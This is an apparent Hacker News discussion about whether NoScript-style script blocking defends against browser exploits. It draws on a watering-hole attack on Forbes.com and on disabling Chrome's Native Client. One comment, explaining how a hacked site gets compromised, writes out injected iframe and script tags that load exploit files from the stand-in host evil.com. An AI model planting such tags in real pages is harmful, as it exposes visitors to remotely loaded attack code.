Hacker News Reader

Comment by rudolf0 | Hacker News Reader

Most (not all, but most) of these exploits cannot run if you use NoScript/NotScripts or equivalent.

And not a single modern website will run either. If you're willing to disable javascript in 2015, you might as well not use Internet at all.

Yes, which is why NoScript allows fine-grained controls. It's not a straight up disabling of Javascript.

You whitelist the sites you trust. Then if any of those sites get hacked, there will likely be a line added like <iframe src="http://evil.com/exploit.html">, or <script src="http://evil.com/exploit.js"></script>. NoScript will always prevent those since whitelists are domain-specific. So unless the malicious Javascript is added 100% inline on the compromised site (which is easy to do, but is done less often for a variety of reasons), you're going to be safe.

And, obviously, you do not whitelist random sites you click off of Google searches or from emails without validation.

So, most sites won't work, and the ones that do work will still be vulnerable? Awesome.

They're vulnerable if you whitelist them and they get hacked and exploit code is sent directly in the HTTP response. Just like how HTTPS (and HSTS and certificate pinning) does nothing for you if the server is compromised.

If you're careful about what you whitelist, NoScript adds a lot of additional security.

It definitely improves security, but you'll still be screwed against a targeted attack against a specific website.

The attack against Forbes.com is a good example. That is a site you would have whitelisted and the attackers compromised that website to then elevate access to the people browsing that site (government employees specifically targeted).

http://www.forbes.com/sites/thomasbrewster/2015/02/10/forbes...

I work in incident response and actually investigated that watering hole firsthand at our organization. The SWF was hosted on a separate domain, so NoScript in fact would have prevented that specific attack from working even if you whitelisted forbes.com.

NoScript will very often block exploit chains from occurring even if it won't necessarily always block stage 1.

That seems pretty hyperbolic. There are plenty of reasons to not use javascript.

Then perhaps the problem is with "modern" sites superfluously using JS. The majority of sites that I've come across from casual browsing (usually via Google search) don't need it to display the content I'm looking for, and when I do find one that does and Google's cached version doesn't contain what I'm looking for, it's almost certain that I'll just move on to the next search result.

Another trick to try: If you use Firefox, then often you can see the contents of a site by View -> Page Style -> No Style.

Other than that, I agree with you. I never enable JS for a random site, I also "move on to the next search result".

Saying that using NoScript means disabling Javascript wholesale is like saying using SELinux or AppArmor means disabling filesystem access wholesale.

It's a disingenuous and silly argument.

Enough of the internet works for me with `javascript.enabled` set to false.

> And not a single modern website will run either.

I find that the vast majority of websites run perfectly fine with NoScript. What exactly qualifies as a modern website?

Even if they do "require" JS, you can enable one or two of the scripts that are actually necessary and keep the 22 ad/tracking/various-other-third-party scripts disabled to minimize the attack surface.

I have JS turned off due to paranoia. And surprisingly, most web sites Do work without it! I also do not miss all the ads and other annoying stuff.

Even budget servers now a day can handle thousands of requests per second, so there is no benefit in offloading "server stuff" to the browser client.

I do have to add some sites to the white list though.

Perhaps HN isn't "modern" but it runs great w/o Javascript.

For me, the big win of things like NoScript is that I can block the zillion websites OTHER than the one I'm actually trying to view. This has the upside of making my web browsing amazingly fast because it stops the 50 DNS queries that every page makes.

Forbes.com is mentioned, here's what else is on that web page after enabling forbes.com:

Blacklisted: doubleclick.net, optimizely.com, bluekai.com, scorecardresearch.com, googletagmanager.com

Other: forbesimg.com, gigya.com, sail-horizon.com, amazon-adsystem.com, media.net, garble.cloudfront.net, chartbeat.com, mediavoice.com, .............

Do YOU trust that ALL of those sites got their Javascript secure? BWHAHAHAHAHAHAHAHAHAHA!

And, let's not even start with all the people who run "Blogoblather 0.4.5" (it will never reach 1.0) who could just post a static web page. No, I don't want to discuss this, and no I'm not logging in. Oh, and, gee, if it were a static web page, if you do get featured on Reddit, YOUR SERVER WON'T FALL OVER AND DIE accessing a database that doesn't have any comments other than spam anyway.

I run NoScript. Most websites are just fine.

That's a bit of a defeatist attitude. I prefer to believe that bad decisions about our civilization's communications infrastructure can be reversed.

This particular exploit relies on Native Client, which is concerning since it is on by default and is hard to disable.

Hard to disable? Just open chrome://flags and click Disable under Native Client.

And how many people know of Native Client, let alone about chrome://flags? Not to mention that advice won't work then not using a persistent Chrome profile. And Google removed "--disable-plugins" so it is not even possible to automate disabling these plugins short of recompiling Chromium.

You have some point, but how many people even know what Native Client is? Or even JavaScript?

Reply on news.ycombinator.com